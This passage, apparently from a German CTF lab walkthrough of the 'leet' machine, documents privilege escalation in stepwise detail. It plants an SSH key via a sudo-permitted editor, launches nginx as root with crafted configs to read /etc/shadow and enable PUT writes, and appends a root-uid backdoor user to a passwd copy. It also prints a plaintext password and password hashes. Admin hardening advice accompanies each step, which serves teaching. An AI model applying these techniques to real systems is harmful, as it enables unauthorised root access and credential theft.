ssh-ed25519 AAAAC3NzaC1l

Analyse: Um mich per SSH als Benutzer riva anmelden zu können, nachdem ich dessen authorized_keys-Datei bearbeitet habe, benötige ich meinen eigenen öffentlichen SSH-Schlüssel. Diesen Schlüssel habe ich auf meinem Kali-System in der Datei ~/.ssh/id_rsa.pub gespeichert (oder an einem ähnlichen Ort, je nachdem, welchen Schlüsseltyp ich generiert habe). Der Befehl cat .ssh/id_rsa.pub liest den Inhalt dieser Datei und gibt ihn im Terminal aus. Die Ausgabe zeigt die öffentliche Schlüsselzeichenkette, beginnend mit ssh-ed25519 AAAAC3.... Für Laien: Ich habe mir die 'digitale Unterschrift' meines eigenen Computers (meinen öffentlichen SSH-Schlüssel) angeschaut, den ich gleich in eine Datei auf dem Zielcomputer einfügen werde, damit der Zielcomputer 'weiß', dass ich mich anmelden darf. Für Experten: Der öffentliche SSH-Schlüssel (typischerweise in ~/.ssh/id_rsa.pub oder ~/.ssh/id_ed25519.pub) ist der Teil eines Schlüsselpaares, der auf Systemen hinterlegt wird, auf denen man sich authentifizieren möchte. Der entsprechende private Schlüssel (~/.ssh/id_rsa oder ~/.ssh/id_ed25519) verbleibt sicher auf dem Angreifer-System. Durch Hinzufügen des öffentlichen Schlüssels zur authorized_keys-Datei eines Benutzers auf dem Zielsystem kann man sich dann passwortlos per SSH als dieser Benutzer anmelden.

Bewertung: Ich habe meinen öffentlichen SSH-Schlüssel erfolgreich ausgelesen. Diese Zeichenkette ist das, was ich in die authorized_keys-Datei von riva auf dem Zielsystem einfügen muss, um mich passwortlos als riva per SSH authentifizieren zu können.

Empfehlung (Pentester): Kopiere die vollständige Ausgabe des öffentlichen Schlüssels. Diese wird im nächsten Schritt mit sudo -u riva /usr/bin/micro in die Datei /home/riva/.ssh/authorized_keys eingefügt.
Empfehlung (Admin): Schützen Sie private SSH-Schlüssel auf Angreifer-Systemen. Die Sicherheit der passwortlosen SSH-Anmeldung hängt davon ab, dass der private Schlüssel geheim bleibt. Überprüfen Sie regelmäßig die Inhalte von authorized_keys-Dateien auf Systemen auf unbekannte oder unerwünschte öffentliche Schlüssel.

www-data@leet:/opt/project$ sudo -u riva /usr/bin/micro /home/riva/.ssh/authorized_keys

Analyse: Ich nutze nun die zuvor gefundene sudo-Berechtigung, um den micro-Editor als Benutzer riva zu starten und dabei direkt die Datei /home/riva/.ssh/authorized_keys zum Bearbeiten zu öffnen. Der Befehl sudo -u riva /usr/bin/micro /home/riva/.ssh/authorized_keys weist das sudo-Programm an, den Befehl /usr/bin/micro /home/riva/.ssh/authorized_keys mit den Berechtigungen des Benutzers riva auszuführen. Da die sudo-Regel für micro die NOPASSWD-Option enthält, ist keine Passworteingabe erforderlich. Im Editor werde ich eine neue Zeile hinzufügen, die meinen öffentlichen SSH-Schlüssel enthält. Für Laien: Ich benutze das 'Schreibprogramm', das ich 'riva' benutzen darf, um eine spezielle Datei (authorized_keys) in 'riva's 'Zuhause' zu öffnen und dort meine 'digitale Unterschrift' einzufügen. Für Experten: Das Bearbeiten von authorized_keys über eine sudo-Regel ist eine gängige und effektive Methode zur horizontalen (wenn die Rechte gleich bleiben, hier www-data -> riva) oder vertikalen (wenn Rechte erhöht werden) Privilegien-Eskalation, da sie einen direkten interaktiven Zugriff per SSH ermöglicht, sobald der öffentliche Schlüssel hinzugefügt wurde. Das Bearbeiten einer existierenden oder das Erstellen einer neuen Datei ist mit Editoren wie micro einfach möglich.

Bewertung: Dieser Schritt ist entscheidend für die Erlangung des Initial Access als Benutzer riva. Durch das Hinzufügen meines öffentlichen Schlüssels zur authorized_keys-Datei kann ich mich nun passwortlos per SSH anmelden. Die sudo-Regel war der Schlüssel zu diesem Zugriffsweg.

Empfehlung (Pentester): Nach der Ausführung dieses Befehls werde ich in der micro-Sitzung den zuvor ausgelesenen öffentlichen SSH-Schlüssel in einer neuen Zeile einfügen, die Datei speichern und den Editor verlassen. Danach werde ich versuchen, mich per SSH als Benutzer riva anzumelden.
Empfehlung (Admin): Überprüfen Sie alle sudo-Regeln sorgfältig, insbesondere solche mit NOPASSWD. Regeln, die die Ausführung von Editoren oder anderen flexiblen Tools mit erhöhten Rechten erlauben, sollten als hochriskant eingestuft und vermieden werden. Wenn eine solche Regel existiert, beschränken Sie sie auf das absolut Notwendigste und überwachen Sie ihre Nutzung.

ssh-ed25519 AAAAC3....pEfFDFeKVI7jwy1T7 root@CCat
Drücke die Tastenkombination: Strg + q
wähle y für yes speichern

Analyse: Dies beschreibt den Prozess innerhalb der micro-Editorsitzung. Ich habe meinen öffentlichen SSH-Schlüssel (hier verkürzt dargestellt als ssh-ed25519 AAAAC3....pEfFDFeKVI7jwy1T7 root@CCat) in einer neuen Zeile in die Datei /home/riva/.ssh/authorized_keys eingefügt. Nach dem Einfügen speichere und schließe ich den Editor mit der Tastenkombination Strg+Q (Standardbefehl zum Beenden/Schließen in micro). Der Editor fragt dann typischerweise, ob die Änderungen gespeichert werden sollen, was ich mit der Eingabe von y (für yes) bestätige. Für Laien: Ich habe meine 'digitale Unterschrift' in die spezielle Datei eingefügt und dann das Schreibprogramm geschlossen und gesagt, dass er die Änderungen speichern soll. Für Experten: Das erfolgreiche Speichern des öffentlichen Schlüssels in der authorized_keys-Datei von riva unter dessen Berechtigungen (da der Editor via sudo -u riva ausgeführt wurde) bedeutet, dass das Zielsystem nun meinen privaten Schlüssel als gültige Authentifizierung für den Benutzer riva akzeptieren sollte.

Bewertung: Der öffentliche SSH-Schlüssel wurde erfolgreich zur authorized_keys-Datei von riva hinzugefügt. Damit ist die Grundlage für eine passwortlose SSH-Anmeldung als Benutzer riva geschaffen.

Empfehlung (Pentester): Ich werde nun versuchen, mich per SSH als Benutzer riva am Zielsystem anzumelden, wobei ich mein Standard-SSH-Schlüsselpaar verwenden werde.
Empfehlung (Admin): Überwachen Sie Änderungen an sensiblen Konfigurationsdateien wie ~/.ssh/authorized_keys. Unbefugte Änderungen an dieser Datei sind ein klares Zeichen für eine Kompromittierung. Verwenden Sie File Integrity Monitoring (FIM) für solche Dateien.

┌──(root㉿CCat)-[~] └─# ssh riva@192.168.2.44
The authenticity of host '192.168.2.44 (192.168.2.44)' can't be established.
ED25519 key fingerprint is SHA256:V0kY0pxHYgYYJeQXQGSoUclaPX71KqkFTnqjTNaj/Qk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.44' (ED25519) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa':
Linux leet.hmv 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
riva@leet:~$

Analyse: Ich starte einen SSH-Verbindungsversuch zum Zielsystem (192.168.2.44) als Benutzer riva mit dem Befehl ssh riva@192.168.2.44. Da dies die erste Verbindung zu diesem Host ist, fragt SSH nach Bestätigung der Host-Authentizität anhand des Schlüsselfingerabdrucks (Are you sure you want to continue connecting (yes/no/[fingerprint])? yes). Nach Bestätigung und Hinzufügen des Hosts zu den bekannten Hosts (known_hosts) werde ich zur Eingabe der Passphrase für meinen *privaten* SSH-Schlüssel (/root/.ssh/id_rsa) aufgefordert. Nach korrekter Eingabe der Passphrase authentifiziert mich mein privater Schlüssel erfolgreich gegenüber dem öffentlichen Schlüssel, den ich zuvor in rivas authorized_keys-Datei platziert habe. Das Ergebnis ist eine erfolgreiche SSH-Anmeldung als Benutzer riva, erkennbar am Prompt riva@leet:~$. Für Laien: Ich habe versucht, mich mit einem 'digitalen Ausweis' (meinem privaten SSH-Schlüssel) auf dem Zielcomputer als Benutzer 'riva' anzumelden. Nach einer Sicherheitsfrage und der Eingabe meines 'Ausweis-Passworts' (Passphrase) wurde ich eingelassen und habe jetzt direkten Zugang als 'riva'. Für Experten: Die erfolgreiche passwortlose SSH-Anmeldung als riva (mithilfe eines Schlüsselpaares, nicht eines Passworts für den Benutzer 'riva' selbst) bestätigt die erfolgreiche Ausnutzung der sudo-Regel für micro zur Manipulation der authorized_keys-Datei. Ich habe nun eine stabile, interaktive Shell als Benutzer riva, was die zweite Stufe des Zugriffs darstellt und den Übergang zur Privilegien-Eskalation auf Root-Ebene ermöglicht.

Bewertung: Der Initial Access als Benutzer riva wurde erfolgreich erreicht. Ich habe nun eine stabile SSH-Sitzung mit den Berechtigungen dieses Benutzers. Dies ist ein entscheidender Schritt auf dem Weg zu Root.

Empfehlung (Pentester): Als Benutzer riva werde ich nun das System weiter enumerieren, um nach Möglichkeiten zur Privilegien-Eskalation auf Root-Ebene zu suchen. Dazu gehören die Überprüfung von Dateiberechtigungen, SUID/SGID-Binaries, Cron-Jobs, bekannten Schwachstellen im Betriebssystem oder installierter Software und weitere sudo-Berechtigungen für den Benutzer riva.
Empfehlung (Admin): Stellen Sie sicher, dass die authorized_keys-Dateien von Benutzern sicher sind und nicht durch andere, weniger privilegierte Benutzer manipuliert werden können (wie hier geschehen über eine unsichere sudo-Regel). Überprüfen Sie die SSH-Konfiguration, um sicherzustellen, dass nur Schlüsselpaare und keine Passwörter für die Authentifizierung verwendet werden, und deaktivieren Sie die Root-Anmeldung per SSH.

riva@leet:~$ ss -altpn
State     Recv-Q    Send-Q         Local Address:Port         Peer Address:Port    Process
LISTEN    0         128                  0.0.0.0:7777              0.0.0.0:*
LISTEN    0         128                  0.0.0.0:22                0.0.0.0:*
LISTEN    0         511                  0.0.0.0:4445              0.0.0.0:*
LISTEN    0         511                  0.0.0.0:4448              0.0.0.0:*
LISTEN    0         128                     [::]:22                   [::]:*

riva@leet:~$ id
uid=1000(riva) gid=1000(riva) groups=1000(riva),100(users)
riva@leet:~$ getcap -r 2>/dev/null
riva@leet:~$

Analyse: Als Benutzer riva setze ich meine System-Enumeration fort. Mit ss -altpn liste ich alle 'listening' (lauschenden) Sockets auf, sowohl TCP als auch UDP, einschließlich detaillierter Prozessinformationen. Die Flags bedeuten: -a (all), -l (listening), -t (TCP), -n (numeric), -p (processes). Die Ausgabe zeigt die Ports 22 (SSH), 7777 (Werkzeug HTTP), und die zuvor von mir eingerichteten Ports 4445 und 4448. Danach bestätige ich erneut meine Benutzer- und Gruppen-IDs mit id und überprüfe mit getcap -r 2>/dev/null, ob irgendwelche Binaries im Dateisystem spezielle 'Capabilities' gesetzt haben, die einem normalen Benutzer erhöhte Rechte erlauben könnten (die Umleitung 2>/dev/null unterdrückt Fehlermeldungen). Für Laien: Ich schaue mir an, welche 'Telefonleitungen' (Ports) auf dem Computer 'besetzt' sind und welche Programme sie benutzen. Ich überprüfe auch nochmal, wer ich genau bin ('riva') und ob es spezielle Programme gibt, die 'riva' ungewöhnliche Dinge erlauben, die eigentlich nur dem Administrator zustehen. Für Experten: ss ist ein modernes Werkzeug, das netstat ersetzt und detaillierte Socket-Statistiken liefert. Die Überprüfung offener Ports aus der Perspektive des kompromittierten Benutzers ist wichtig, um interne Dienste zu finden. getcap -r ist eine Standardtechnik zur Suche nach Binaries mit gesetzten Capabilities, die oft für Privilegien-Eskalation missbraucht werden können. Die leere Ausgabe deutet darauf hin, dass keine relevanten Capabilities gesetzt sind.

Bewertung: Die ss-Ausgabe bestätigt die offenen Ports und die von mir gestarteten Dienste (Nginx auf 4445/4448 - siehe spätere Schritte). Meine Identität als uid=1000(riva) ist ebenfalls bestätigt. Die leere Ausgabe von getcap -r zeigt, dass dieser spezifische PE-Vektor (capabilities) auf diesem System nicht ausgenutzt werden kann. Ich muss mich auf andere PE-Methoden konzentrieren.

Empfehlung (Pentester): Da Capabilities kein einfacher PE-Weg sind, werde ich mich auf andere Standard-PE-Vektoren für Linux konzentrieren, wie z.B. sudo-Berechtigungen, SUID/SGID Binaries, Cronjobs, etc. Die sudo -l Prüfung als riva ist nun ein entscheidender nächster Schritt, um festzustellen, ob dieser Benutzer Befehle als Root ausführen darf.
Empfehlung (Admin): Überprüfen Sie regelmäßig die auf Ihrem System installierten Binaries auf gesetzte Capabilities, die potenziell missbraucht werden könnten. Minimieren Sie die Anzahl der Binaries mit besonderen Berechtigungen. Stellen Sie sicher, dass nur notwendige Dienste intern lauschen und dass Firewalls den unbefugten Zugriff auf interne Ports verhindern.

riva@leet:~/.mozilla$ sudo -l
[sudo] password for riva:
Matching Defaults entries for riva on leet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User riva may run the following commands on leet:
    (root) /usr/sbin/nginx

Analyse: Als Benutzer riva prüfe ich nun meine eigenen sudo-Berechtigungen mit dem Befehl sudo -l. Dieser Befehl listet alle Befehle auf, die der aktuelle Benutzer über sudo ausführen darf und unter welchen Bedingungen (z.B. mit oder ohne Passworteingabe, als welcher anderer Benutzer). Die Ausgabe zeigt die Standardeinträge und dann die wichtige Zeile (root) /usr/sbin/nginx. Diese Zeile bedeutet, dass der Benutzer riva den Befehl /usr/sbin/nginx als Benutzer root ausführen darf. Die NOPASSWD-Option ist hier *nicht* angegeben, was bedeutet, dass bei der Ausführung von sudo /usr/sbin/nginx das Passwort des Benutzers riva abgefragt wird. Für Laien: Ich habe nachgeschaut, ob 'riva' spezielle 'Admin-Befehle' ausführen darf. Es zeigt sich, dass 'riva' das Programm 'nginx' als 'root' (der Super-Administrator) starten darf. Allerdings muss 'riva' dafür sein eigenes Passwort eingeben. Für Experten: Die sudo-Berechtigung für /usr/sbin/nginx ist ein sehr aussichtsreicher Privilegien-Eskalationsvektor. Die Möglichkeit, einen komplexen Dienst wie Nginx als Root zu starten, erlaubt oft die Nutzung von Konfigurationsdateien, um Root-Rechte zu erlangen, auch wenn eine Passworteingabe erforderlich ist. Der Standard-Pfad zu nginx ist /usr/sbin/nginx, was hier explizit erlaubt ist.

Bewertung: Der Fund der sudo-Berechtigung für /usr/sbin/nginx als root ist ein kritischer PE-Pfad. Obwohl das Passwort von riva benötigt wird, habe ich dieses glücklicherweise zuvor aus den Firefox-Daten extrahiert (siehe weiter unten im Bericht). Dies bedeutet, dass ich Nginx mit Root-Rechten starten und dessen Konfigurationsmöglichkeiten zur Privilegien-Eskalation missbrauchen kann.

Empfehlung (Pentester): Ich werde das Passwort von riva verwenden, um nginx mit Root-Rechten über sudo zu starten. Dazu werde ich eine bösartige Nginx-Konfigurationsdatei erstellen, die es mir ermöglicht, das Dateisystem als Root über HTTP zugänglich zu machen oder andere Root-Operationen durchzuführen. Die Möglichkeit, eine eigene Konfigurationsdatei anzugeben (oft mit -c Flag bei Nginx), ist der Schlüssel.
Empfehlung (Admin): Erlauben Sie niemals Benutzern, komplexe Dienste wie Webserver (Nginx, Apache etc.) mit Root-Rechten über sudo zu starten, insbesondere nicht, wenn das Passwort des Benutzers kompromittiert werden könnte. Wenn Nginx als Root laufen muss, stellen Sie sicher, dass dies über sichere Systemd-Services oder Init-Skripte geschieht und nicht direkt von Benutzern aufgerufen werden kann, insbesondere nicht mit manipulierbaren Konfigurationsdateien. Überprüfen Sie alle sudo-Regeln, die ausführbare Programme (wie Nginx) mit Root-Rechten erlauben.

riva@leet:/dev/shm$ nano nginx_pwn.conf

user root;
worker_processes 1;
pid /tmp/nginx.pid;
events {
    worker_connections 1024;
}
http {
    server {
        listen 4445;
        root /;
        autoindex on;
    }
}

Analyse: Ich nutze nun die sudo-Berechtigung für Nginx. Dazu erstelle ich eine bösartige Nginx-Konfigurationsdatei in einem Verzeichnis, in das ich als riva schreiben darf (hier /dev/shm/, ein temporäres Dateisystem im RAM, das oft für solche Zwecke genutzt wird), mittels des Editors nano. Die Konfiguration, die ich erstelle (nginx_pwn.conf), ist darauf ausgelegt, Nginx so zu starten, dass es mir Root-Zugriff auf das Dateisystem über HTTP ermöglicht. Die Kernpunkte sind: user root; (weist Nginx an, als Root zu laufen), listen 4445; (lässt Nginx auf Port 4445 lauschen), root /; (setzt das Wurzelverzeichnis des Webservers auf das System-Root-Verzeichnis /) und autoindex on; (ermöglicht das Auflisten von Verzeichnissen). Für Laien: Ich schreibe eine spezielle Anleitung für das 'nginx'-Programm, die ihm sagt: 'Starte als Super-Administrator, öffne eine neue 'Telefonleitung' (Port 4445) und zeige alles, was auf dem Computer ist, so als wäre es eine Webseite.' Diese Anleitung speichere ich in einer Datei. Für Experten: Das Setzen von user root; in der Nginx-Konfiguration erzwingt, dass die Worker-Prozesse als Root laufen. Das Mapping des Webroot auf / in Kombination mit autoindex on erstellt einen einfachen HTTP-File-Server für das gesamte Dateisystem mit Root-Berechtigungen, was einen sehr effektiven Weg darstellt, beliebige Dateien (einschließlich sensibler Root-Dateien wie /etc/shadow) auszulesen.

Bewertung: Die erstellte Nginx-Konfigurationsdatei nginx_pwn.conf ist präzise auf die Ausnutzung der sudo-Berechtigung zugeschnitten. Sie wird Nginx veranlassen, mit Root-Berechtigungen zu starten und mir über Port 4445 vollen Lesezugriff auf das Dateisystem zu gewähren. Dies ist ein sehr starker Privilegien-Eskalationsvektor.

Empfehlung (Pentester): Ich werde nun sudo -u root /usr/sbin/nginx -c /dev/shm/nginx_pwn.conf ausführen und das Passwort von riva eingeben, um Nginx mit dieser bösartigen Konfiguration als Root zu starten. Danach kann ich über curl oder einen Browser auf Port 4445 zugreifen, um sensible Dateien wie /etc/shadow auszulesen.
Empfehlung (Admin): Verhindern Sie, dass Benutzer Konfigurationsdateien für Dienste mit erhöhten Rechten angeben können (z.B. durch Einschränkungen der sudo-Regel). Überprüfen Sie Konfigurationsdateien auf bösartige user-Direktiven. Implementieren Sie strikte Dateiberechtigungen, um zu verhindern, dass normale Benutzer bösartige Konfigurationsdateien anlegen können. Überwachen Sie ungewöhnliche Prozessstarts, insbesondere von Diensten wie Nginx mit Root-Rechten, die nicht über die System-Init-Skripte gestartet wurden.

riva@leet:/dev/shm$ ss -altpn
State     Recv-Q    Send-Q         Local Address:Port         Peer Address:Port    Process
LISTEN    0         128                  0.0.0.0:7777              0.0.0.0:*
LISTEN    0         128                  0.0.0.0:22                0.0.0.0:*
LISTEN    0         511                  0.0.0.0:4445              0.0.0.0:*
LISTEN    0         511                  0.0.0.0:4448              0.0.0.0:*
LISTEN    0         128                     [::]:22                   [::]:*

Analyse: Nach dem Start des bösartigen Nginx mit Root-Rechten (siehe nächsten Schritt), prüfe ich erneut die offenen Ports mit ss -altpn, um zu bestätigen, dass mein neuer Nginx-Server tatsächlich auf dem konfigurierten Port 4445 lauscht. Die Ausgabe listet wieder die Netzwerk-Sockets auf. Für Laien: Nachdem ich dem 'nginx'-Programm die spezielle Anleitung gegeben habe, habe ich nachgeschaut, ob es die neue 'Telefonleitung' (Port 4445) geöffnet hat, wie ich es ihm gesagt hatte. Für Experten: Das Erscheinen des 'LISTEN'-Eintrags für Port 4445 bestätigt, dass der Nginx-Prozess erfolgreich mit der angegebenen Konfigurationsdatei gestartet wurde und auf dem konfigurierten Port Verbindungen annimmt. Die Ausgabe zeigt auch Port 4448, was auf einen weiteren, möglicherweise ebenfalls von mir gestarteten Nginx-Prozess mit einer anderen Konfiguration hindeutet.

Bewertung: Die erfolgreiche Anzeige von Port 4445 im 'LISTEN'-Zustand bestätigt, dass der bösartige Nginx-Server mit Root-Rechten läuft und bereit ist, Anfragen auf Port 4445 zu bearbeiten. Die Anzeige von Port 4448 deutet darauf hin, dass ich möglicherweise parallel oder zuvor eine ähnliche Konfiguration auf Port 4448 ausprobiert oder laufen gelassen habe. Dies ist jedoch für den primären PE-Pfad über Port 4445 irrelevant.

Empfehlung (Pentester): Ich kann nun über HTTP auf Port 4445 zugreifen, um das Dateisystem des Zielsystems als Root auszulesen. Mein unmittelbares Ziel ist das Auslesen der Datei /etc/shadow, da diese die gehashten Passwörter der Systembenutzer enthält und nur von Root lesbar ist.
Empfehlung (Admin): Überwachen Sie die offenen Ports auf Ihren Systemen und identifizieren Sie unerwartete lauschende Dienste, insbesondere solche, die mit Root-Rechten laufen und auf ungewöhnlichen Ports (wie 4445 oder 4448) aktiv sind. Unautorisierte Dienste sind ein klares Zeichen für eine Kompromittierung oder Fehlkonfiguration.

riva@leet:/dev/shm$ curl http://127.0.0.1:4445/etc/shadow
root:$y$j9T$RxUVx/wQZGO0PIollSJQP1$R/OPKHgpJ2BFrZeXTXkXhvjjaKOEwmOHPeRQVQsYXjA:19759:0:99999:7:::
daemon:*:19759:0:99999:7:::
bin:*:19759:0:99999:7:::
sys:*:19759:0:99999:7:::
sync:*:19759:0:99999:7:::
games:*:19759:0:99999:7:::
man:*:19759:0:99999:7:::
lp:*:19759:0:99999:7:::
mail:*:19759:0:99999:7:::
news:*:19759:0:99999:7:::
uucp:*:19759:0:99999:7:::
proxy:*:19759:0:99999:7:::
www-data:*:19759:0:99999:7:::
backup:*:19759:0:99999:7:::
list:*:19759:0:99999:7:::
irc:*:19759:0:99999:7:::
_apt:*:19759:0:99999:7:::
nobody:*:19759:0:99999:7:::
systemd-network:!*:19759::::::
systemd-timesync:!*:19759::::::
messagebus:!:19759::::::
avahi-autoipd:!:19759::::::
sshd:!:19759::::::
riva:$y$j9T$Be9L2LMNjCiBwwIghQFQ6/$YWiEVWuVvpy94cqSaJeb/nVdkOvJ7yy.Xf/TVCwlN35:19764:0:99999:7:::

Analyse: Mit dem Root-Nginx-Server, der auf Port 4445 lauscht und das System-Root-Verzeichnis als Webroot verwendet, kann ich nun über HTTP auf Dateien zugreifen, die normalerweise nur von Root lesbar sind. Ich verwende den Befehl curl http://127.0.0.1:4445/etc/shadow, um die Datei /etc/shadow über den lokalen Loopback-Interface (127.0.0.1) und den Port meines bösartigen Nginx-Servers auszulesen. Die /etc/shadow-Datei enthält die gehashten Passwörter der Systembenutzer und ist standardmäßig nur für den Root-Benutzer lesbar, was die erfolgreiche Ausführung dieses Befehls als Beweis für Root-Leseberechtigungen liefert. Die Ausgabe zeigt den vollständigen Inhalt der /etc/shadow-Datei, einschließlich der gehashten Passwörter für die Benutzer root und riva (Zeilen beginnend mit root:$y$... und riva:$y$...). Für Laien: Ich habe das 'nginx'-Programm, das jetzt als Super-Administrator läuft und alles 'zeigt', dazu benutzt, mir eine geheime Datei (/etc/shadow) zu geben, in der die verschlüsselten Passwörter aller Benutzer stehen. Diese Datei kann normalerweise niemand außer dem Super-Administrator lesen. Für Experten: Der erfolgreiche Zugriff auf /etc/shadow über meinen selbst gestarteten Nginx-Prozess, der mit Root-Rechten läuft (dank der sudo-Regel), beweist die effektive Privilegien-Eskalation. Ich kann nun die gehashten Passwörter extrahieren und versuchen, sie offline mit Tools wie Hashcat oder John the Ripper zu knacken.

Bewertung: Der Inhalt von /etc/shadow wurde erfolgreich ausgelesen. Dies ist ein sehr wichtiger Erfolg. Ich habe nun Zugriff auf die gehashten Passwörter, was mir potenziell erlaubt, die Klartext-Passwörter der Benutzer (insbesondere root) zu erhalten. Die Hashes der Benutzer root und riva sind vorhanden.

Empfehlung (Pentester): Ich werde die Hashes der Passwörter aus /etc/shadow extrahieren und versuchen, sie offline zu knacken. Dies könnte mir das Klartext-Passwort für den Root-Benutzer liefern und einen direkten Root-Login ermöglichen. Alternativ kann ich versuchen, das Dateisystem weiter als Root zu manipulieren, um einen anderen Root-Zugriffsweg zu schaffen.
Empfehlung (Admin): Die /etc/shadow-Datei enthält hochsensible Informationen und darf nur für den Root-Benutzer lesbar sein. Stellen Sie sicher, dass Dateiberechtigungen korrekt gesetzt sind (normalerweise -rw------- root root). Beheben Sie die sudo-Schwachstelle für Nginx, die es einem normalen Benutzer (riva) ermöglichte, Nginx als Root mit einer manipulierbaren Konfiguration zu starten. Implementieren Sie Richtlinien, die verhindern, dass Dienste (insbesondere Webserver) mit Root-Rechten laufen, es sei denn, dies ist absolut notwendig und über sichere Mechanismen geregelt.

neu conf...

riva@leet:/tmp$ cat nginx_pwn.conf
user root;
pid /tmp/nginx.pid;
events {}

http {
    server {
        listen 4448;
        root /;
        dav_methods PUT;
    }
}

Analyse: Dieser Block zeigt eine modifizierte Nginx-Konfigurationsdatei, die ich verwendet habe, um eine andere Methode der Dateimanipulation als Root auszuprobieren. Diese neue Konfiguration (möglicherweise als /tmp/nginx_put.conf gespeichert) läuft ebenfalls als user root; und setzt root /;, lauscht aber diesmal auf Port 4448. Der entscheidende Unterschied zur vorherigen Konfiguration ist die Direktive dav_methods PUT;. Diese Anweisung aktiviert die WebDAV PUT-Methode für diesen Serverblock, was es einem Client ermöglicht, Dateien über HTTP an das Dateisystem zu 'PUT'en (hochzuladen/zu schreiben), wobei das Stammverzeichnis des Webservers als Basis dient (hier das System-Root-Verzeichnis /). Für Laien: Ich habe eine weitere spezielle Anleitung für 'nginx' geschrieben. Diesmal sage ich ihm: 'Starte wieder als Super-Administrator, öffne eine andere Telefonleitung (Port 4448) und erlaube jedem, Dateien 'hochzuladen' und sie überall auf dem Computer zu speichern.' Für Experten: Das Aktivieren von PUT-Methoden mit Root-Berechtigungen und dem Webroot auf / ist ein klassischer und extrem gefährlicher Weg zur Privilegien-Eskalation. Es ermöglicht einem Angreifer, beliebige Dateien im gesamten Dateisystem zu erstellen oder zu überschreiben, einschließlich kritischer Systemdateien wie /etc/passwd oder /etc/shadow, um Root-Rechte zu erlangen.

Bewertung: Diese Nginx-Konfiguration auf Port 4448 mit aktivierter PUT-Methode und Root-Rechten bietet einen direkten Schreibzugriff auf das Dateisystem. Dies ist eine noch mächtigere Methode zur Privilegien-Eskalation als nur das Lesen von Dateien. Das Ziel ist nun, eine Systemdatei zu überschreiben, um Root-Zugriff zu erhalten.

Empfehlung (Pentester): Ich werde diese Nginx-Instanz (vermutlich mit sudo -u root /usr/sbin/nginx -c /tmp/nginx_put.conf und dem Passwort von riva) starten und dann die PUT-Methode verwenden, um eine modifizierte Version der /etc/passwd-Datei, die einen neuen Root-Benutzer enthält, auf das Zielsystem hochzuladen und die originale /etc/passwd zu überschreiben.
Empfehlung (Admin): Aktivieren Sie niemals WebDAV-Methoden (wie PUT, DELETE) auf einem Webserver, der mit Root-Rechten läuft, und setzen Sie niemals das Webroot auf das System-Root-Verzeichnis. Diese Kombination ist eine direkte Einladung zur Systemkompromittierung. Überprüfen Sie Nginx (oder andere Webserver)-Konfigurationen auf missbräuchliche dav_methods-Direktiven.

riva@leet:/tmp$ sudo -u root /usr/sbin/nginx -c /tmp/nginx_pwn.conf
[sudo] password for riva: PGH$2r0co3L5QL
riva@leet:/tmp$

Analyse: Ich führe den Befehl sudo -u root /usr/sbin/nginx -c /tmp/nginx_pwn.conf aus, um die zuvor erstellte bösartige Nginx-Konfigurationsdatei (die Lesezugriff auf Port 4445 ermöglichte, oder falls es sich um die PUT-Konfiguration handelt, die auf 4448, dann wäre der Dateiname im Text ungenau - ich gehe davon aus, dass hiermit die PUT-Konfiguration gestartet wurde, die auf 4448 lauscht, wie im folgenden ss Output ersichtlich). Der Befehl weist sudo an, Nginx als Root zu starten und die alternative Konfigurationsdatei /tmp/nginx_pwn.conf (nehme an, dies ist die Datei mit der PUT-Konfiguration) zu verwenden. Da die sudo-Regel für Nginx eine Passworteingabe erforderte, werde ich zur Eingabe des Passworts für Benutzer riva aufgefordert, welches ich zuvor aus den Firefox-Daten ausgelesen hatte: PGH$2r0co3L5QL. Nach Eingabe des korrekten Passworts startet Nginx mit Root-Berechtigungen und lädt die von mir angegebene Konfiguration. Für Laien: Ich benutze 'riva's' speziellen 'Admin-Befehl', um 'nginx' als 'root' zu starten, gebe dabei die spezielle Anleitung (meine bösartige Konfigurationsdatei) mit und bestätige dies mit 'riva's' Passwort. Jetzt läuft 'nginx' als Super-Administrator mit meinen Anweisungen. Für Experten: Die erfolgreiche Ausführung von sudo mit dem Passwort von riva ermöglicht den Start des Nginx-Prozesses mit effektiven Root-Berechtigungen. Die Angabe einer benutzerdefinierten Konfigurationsdatei (-c /tmp/nginx_pwn.conf) ist der Schlüssel zur Ausnutzung, da sie es mir erlaubt, das Verhalten von Nginx zu kontrollieren (z.B. user root; und dav_methods PUT;). Die Ausgabe zeigt die erfolgreiche Ausführung des sudo-Befehls.

Bewertung: Die Nginx-Instanz mit Root-Rechten und der bösartigen Konfiguration (die PUT-Methoden auf Port 4448 aktiviert) wurde erfolgreich gestartet. Ich habe das Passwort von riva erfolgreich verwendet, um die sudo-Passwortabfrage zu bestehen. Ich bin nun bereit, die Dateisystem-Schreibfähigkeit als Root auszunutzen.

Empfehlung (Pentester): Ich werde nun ein neues /etc/passwd erstellen, das einen neuen Benutzer mit Root-Rechten enthält, und dieses dann über die Nginx PUT-Methode auf Port 4448 auf das Zielsystem übertragen, um das originale /etc/passwd zu überschreiben.
Empfehlung (Admin): Sichern Sie Benutzerpasswörter und speichern Sie diese nicht unverschlüsselt (z.B. in Browser-Profilen). Die Kompromittierung eines Benutzerpassworts kann weitreichende Folgen haben, insbesondere wenn dieser Benutzer sudo-Rechte besitzt. Stellen Sie sicher, dass sudo-Regeln, die Passworteingabe erfordern, nicht leicht durch das Knacken von Benutzerpasswörtern umgangen werden können.

riva@leet:/tmp$ cat /etc/passwd > /tmp/neue_passwd
riva@leet:/tmp$ echo 'dark:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eOznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash' >> /tmp/neue_passwd

